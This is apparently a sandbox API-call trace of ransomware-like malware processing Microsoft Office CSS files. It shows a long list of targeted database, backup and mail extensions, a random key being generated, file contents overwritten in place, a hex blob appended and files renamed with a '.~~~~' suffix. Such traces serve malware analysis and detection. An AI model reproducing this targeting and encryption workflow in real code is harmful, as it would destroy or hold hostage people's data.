	[0138.874] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".DBT") returned 0x0
	[0138.875] lstrlenW (lpString=".ACCDB") returned 6
	[0138.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".ACCDB") returned 0x0
	[0138.875] lstrlenW (lpString=".fdb") returned 4
	[0138.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".fdb") returned 0x0
	[0138.875] lstrlenW (lpString=".bak") returned 4
	[0138.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".bak") returned 0x0
	[0138.875] lstrlenW (lpString=".myd") returned 4
	[0138.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".myd") returned 0x0
	[0138.875] lstrlenW (lpString=".DTXS") returned 5
	[0138.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".DTXS") returned 0x0
	[0138.875] lstrlenW (lpString=".ckp") returned 4
	[0138.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".ckp") returned 0x0
	[0138.875] lstrlenW (lpString=".dbt") returned 4
	[0138.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".dbt") returned 0x0
	[0138.875] lstrlenW (lpString=".db") returned 3
	[0138.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".db") returned 0x0
	[0138.875] lstrlenW (lpString=".TXT") returned 4
	[0138.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".TXT") returned 0x0
	[0138.875] lstrlenW (lpString=".MDF") returned 4
	[0138.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".MDF") returned 0x0
	[0138.875] lstrlenW (lpString=".bdb") returned 4
	[0138.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".bdb") returned 0x0
	[0138.875] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0138.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0138.876] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0138.876] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0138.876] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394b08) returned 1
	[0138.877] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0138.877] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0138.877] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0138.877] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0138.877] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0138.877] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25886743611) returned 1
	[0138.877] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbc32adf0, dwHighDateTime=0x1d60e1e)) 
	[0138.877] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0138.878] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0138.878] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0138.878] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2825e10
	[0138.878] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0138.878] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825e10 | out: hHeap=0x300000) returned 1
	[0138.878] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0138.878] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0138.878] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x399da0
	[0138.878] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0138.878] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6380
	[0138.878] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x399da0 | out: hHeap=0x300000) returned 1
	[0138.878] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0138.878] GetLastError () returned 0x0
	[0138.879] GetLastError () returned 0x0
	[0138.879] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0138.879] GetLastError () returned 0x0
	[0138.879] GetLastError () returned 0x0
	[0138.879] ReadFile (in: hFile=0x114, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.974] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.975] WriteFile (in: hFile=0x114, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.975] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0138.975] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.975] WriteFile (in: hFile=0x114, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0139.437] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0139.437] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0139.437] CloseHandle (hObject=0x114) returned 1
	[0139.640] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x399a58
	[0139.640] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme30.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme30.css.~~~~")) returned 1
	[0139.662] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x399a58 | out: hHeap=0x300000) returned 1
	[0139.662] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0139.662] GetLastError () returned 0x0
	[0139.663] RtlWakeConditionVariable () returned 0x0
	[0139.663] GetCurrentThreadId () returned 0x3a4
	[0139.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".scr") returned 0x0
	[0139.663] lstrlenW (lpString=".cmd") returned 4
	[0139.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".cmd") returned 0x0
	[0139.663] lstrlenW (lpString=".dll") returned 4
	[0139.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".dll") returned 0x0
	[0139.663] lstrlenW (lpString=".bat") returned 4
	[0139.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".bat") returned 0x0
	[0139.663] lstrlenW (lpString=".cpl") returned 4
	[0139.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".cpl") returned 0x0
	[0139.663] lstrlenW (lpString=".sys") returned 4
	[0139.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".sys") returned 0x0
	[0139.663] lstrlenW (lpString=".msc") returned 4
	[0139.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".msc") returned 0x0
	[0139.663] lstrlenW (lpString=".com") returned 4
	[0139.664] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".com") returned 0x0
	[0139.664] lstrlenW (lpString=".lnk") returned 4
	[0139.664] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".lnk") returned 0x0
	[0139.664] lstrlenW (lpString=".msp") returned 4
	[0139.664] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".msp") returned 0x0
	[0139.664] lstrlenW (lpString=".pif") returned 4
	[0139.664] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".pif") returned 0x0
	[0139.664] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0139.664] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0139.664] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme34.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
	[0139.666] lstrlenW (lpString=".sqb") returned 4
	[0139.666] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".sqb") returned 0x0
	[0139.666] lstrlenW (lpString=".ost") returned 4
	[0139.666] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".ost") returned 0x0
	[0139.666] lstrlenW (lpString=".txt") returned 4
	[0139.666] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".txt") returned 0x0
	[0139.666] lstrlenW (lpString=".mdt") returned 4
	[0139.666] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".mdt") returned 0x0
	[0139.666] lstrlenW (lpString=".BDB") returned 4
	[0139.666] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".BDB") returned 0x0
	[0139.666] lstrlenW (lpString=".eql") returned 4
	[0139.666] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".eql") returned 0x0
	[0139.666] lstrlenW (lpString=".DBF") returned 4
	[0139.666] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".DBF") returned 0x0
	[0139.666] lstrlenW (lpString=".EQL") returned 4
	[0139.666] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".EQL") returned 0x0
	[0139.666] lstrlenW (lpString=".FDB") returned 4
	[0139.666] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".FDB") returned 0x0
	[0139.666] lstrlenW (lpString=".EDB") returned 4
	[0139.667] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".EDB") returned 0x0
	[0139.667] lstrlenW (lpString=".DACPAC") returned 7
	[0139.667] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".DACPAC") returned 0x0
	[0139.667] lstrlenW (lpString=".VHD") returned 4
	[0139.667] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".VHD") returned 0x0
	[0139.667] lstrlenW (lpString=".DBV") returned 4
	[0139.667] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".DBV") returned 0x0
	[0139.667] lstrlenW (lpString=".dacpac") returned 7
	[0139.667] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".dacpac") returned 0x0
	[0139.667] lstrlenW (lpString=".sdf") returned 4
	[0139.667] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".sdf") returned 0x0
	[0139.667] lstrlenW (lpString=".accdb") returned 6
	[0139.667] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".accdb") returned 0x0
	[0139.667] lstrlenW (lpString=".DBX") returned 4
	[0139.667] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".DBX") returned 0x0
	[0139.667] lstrlenW (lpString=".MDT") returned 4
	[0139.667] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".MDT") returned 0x0
	[0139.667] lstrlenW (lpString=".SQB") returned 4
	[0139.667] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".SQB") returned 0x0
	[0139.667] lstrlenW (lpString=".vhd") returned 4
	[0139.667] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".vhd") returned 0x0
	[0139.667] lstrlenW (lpString=".bac") returned 4
	[0139.667] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".bac") returned 0x0
	[0139.667] lstrlenW (lpString=".mdf") returned 4
	[0139.667] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".mdf") returned 0x0
	[0139.667] lstrlenW (lpString=".BAK") returned 4
	[0139.668] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".BAK") returned 0x0
	[0139.668] lstrlenW (lpString=".BAC") returned 4
	[0139.668] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".BAC") returned 0x0
	[0139.668] lstrlenW (lpString=".dbs") returned 4
	[0139.668] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".dbs") returned 0x0
	[0139.668] lstrlenW (lpString=".vhdx") returned 5
	[0139.668] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".vhdx") returned 0x0
	[0139.668] lstrlenW (lpString=".NDF") returned 4
	[0139.668] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".NDF") returned 0x0
	[0139.668] lstrlenW (lpString=".dat") returned 4
	[0139.668] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".dat") returned 0x0
	[0139.668] lstrlenW (lpString=".DBS") returned 4
	[0139.668] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".DBS") returned 0x0
	[0139.668] lstrlenW (lpString=".CKP") returned 4
	[0139.668] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".CKP") returned 0x0
	[0139.668] lstrlenW (lpString=".edb") returned 4
	[0139.668] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".edb") returned 0x0
	[0139.668] lstrlenW (lpString=".PST") returned 4
	[0139.668] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".PST") returned 0x0
	[0139.668] lstrlenW (lpString=".dbf") returned 4
	[0139.668] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".dbf") returned 0x0
	[0139.668] lstrlenW (lpString=".SQL") returned 4
	[0139.668] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".SQL") returned 0x0
	[0139.668] lstrlenW (lpString=".pst") returned 4
	[0139.668] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".pst") returned 0x0
	[0139.669] lstrlenW (lpString=".dbv") returned 4
	[0139.669] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".dbv") returned 0x0
	[0139.669] lstrlenW (lpString=".SDF") returned 4
	[0139.669] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".SDF") returned 0x0
	[0139.669] lstrlenW (lpString=".dtxs") returned 5
	[0139.669] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".dtxs") returned 0x0
	[0139.669] lstrlenW (lpString=".db3") returned 4
	[0139.669] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".db3") returned 0x0
	[0139.669] lstrlenW (lpString=".OST") returned 4
	[0139.669] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".OST") returned 0x0
	[0139.669] lstrlenW (lpString=".dbx") returned 4
	[0139.669] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".dbx") returned 0x0
	[0139.669] lstrlenW (lpString=".DB3") returned 4
	[0139.669] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".DB3") returned 0x0
	[0139.669] lstrlenW (lpString=".DAT") returned 4
	[0139.669] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".DAT") returned 0x0
	[0139.669] lstrlenW (lpString=".VHDX") returned 5
	[0139.669] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".VHDX") returned 0x0
	[0139.669] lstrlenW (lpString=".ndf") returned 4
	[0139.669] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".ndf") returned 0x0
	[0139.669] lstrlenW (lpString=".DB") returned 3
	[0139.669] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".DB") returned 0x0
	[0139.669] lstrlenW (lpString=".sql") returned 4
	[0139.669] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".sql") returned 0x0
	[0139.669] lstrlenW (lpString=".MYD") returned 4
	[0139.670] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".MYD") returned 0x0
	[0139.670] lstrlenW (lpString=".DBT") returned 4
	[0139.670] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".DBT") returned 0x0
	[0139.670] lstrlenW (lpString=".ACCDB") returned 6
	[0139.670] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".ACCDB") returned 0x0
	[0139.670] lstrlenW (lpString=".fdb") returned 4
	[0139.670] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".fdb") returned 0x0
	[0139.670] lstrlenW (lpString=".bak") returned 4
	[0139.670] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".bak") returned 0x0
	[0139.670] lstrlenW (lpString=".myd") returned 4
	[0139.670] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".myd") returned 0x0
	[0139.670] lstrlenW (lpString=".DTXS") returned 5
	[0139.670] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".DTXS") returned 0x0
	[0139.670] lstrlenW (lpString=".ckp") returned 4
	[0139.670] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".ckp") returned 0x0
	[0139.670] lstrlenW (lpString=".dbt") returned 4
	[0139.670] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".dbt") returned 0x0
	[0139.670] lstrlenW (lpString=".db") returned 3
	[0139.670] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".db") returned 0x0
	[0139.670] lstrlenW (lpString=".TXT") returned 4
	[0139.670] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".TXT") returned 0x0
	[0139.670] lstrlenW (lpString=".MDF") returned 4
	[0139.670] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".MDF") returned 0x0
	[0139.670] lstrlenW (lpString=".bdb") returned 4
	[0139.670] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".bdb") returned 0x0
	[0139.670] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0139.670] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0139.671] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0139.671] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0139.671] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394b08) returned 1
	[0139.672] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0139.672] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0139.672] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0139.672] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0139.672] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0139.672] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25966241398) returned 1
	[0139.672] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbca9b2b0, dwHighDateTime=0x1d60e1e)) 
	[0139.672] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0139.672] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
